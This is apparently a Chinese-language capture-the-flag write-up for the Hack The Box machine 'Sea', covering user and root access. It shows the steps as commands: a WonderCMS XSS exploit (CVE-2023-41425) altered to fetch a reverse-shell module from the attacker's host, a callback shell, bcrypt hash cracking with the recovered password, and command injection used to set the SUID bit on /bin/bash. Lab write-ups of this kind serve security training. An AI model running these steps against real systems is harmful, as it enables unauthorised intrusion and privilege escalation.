Sea(HTB Easy)

基本信息

  • IP:10.10.11.28
  • VPN:10.10.16.7
  • 域名:sea.htb

信息收集

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.11.28
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

修改 hosts:

vim /etc/hosts
10.10.11.28    sea.htb

网站有 home 和 how-to-participate。contact.php 可提交信息,SQL 注入、XSS 均无果。

目录爆破发现 data、message、plugins、themes、404 等。访问 403,403 绕过也无果。推测是 CMS,在主题目录拿到 README:

http://sea.htb/themes/bike/README.md
cat README.md
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

确认为 WonderCMS。

User

利用 CVE-2023-41425 拿 webshell。下载反弹马压缩包:

wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip

修改 exploit 第 20 行:?installModule= 到 &directoryName 之间改为 http://10.10.16.7:8000/main.zip。把 urlWithoutLogBase 改成 urlWithoutLog,XHR 路径改为:

xhr4.open("GET", urlWithoutLog+"/themes/rev.php");

运行:

python3 exploit.py "http://sea.htb/index.php?page=loginURL" 10.10.16.7 4444

把生成的 XSS 链接贴到 http://sea.htb/contact.php,等管理员点击后反弹 shell。升级交互:

python3 -c 'import pty;pty.spawn("/bin/bash")'

在 /var/www/sea/data 的 database.js 里找到 PHP 哈希(记得去掉转义字符):

cd /var/www/sea/data
hashcat -m 3200 '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' /usr/share/wordlists/rockyou.txt
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
cd /home
ls
ssh [email protected]

登录成功,拿到 user flag。

Root

sudo -l
netstat -aon

sudo -l 无果。注意到 8080 在监听,做本地转发:

ssh -L 1010:127.0.0.1:8080 -N [email protected]

访问 http://localhost:1010。日志最后一行带参数且会读日志文件,尝试命令注入。用 Burp 把请求 URL 编码后发送:

cat /etc/passwd

回显里出现 passwd 内容,确认命令注入。接着改 bash 权限:

chmod u+s /bin/bash

回到 amay 的 SSH:

ls -al /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
/bin/bash -p
cd /root
cat root.txt

至此已经获得机器全部权限。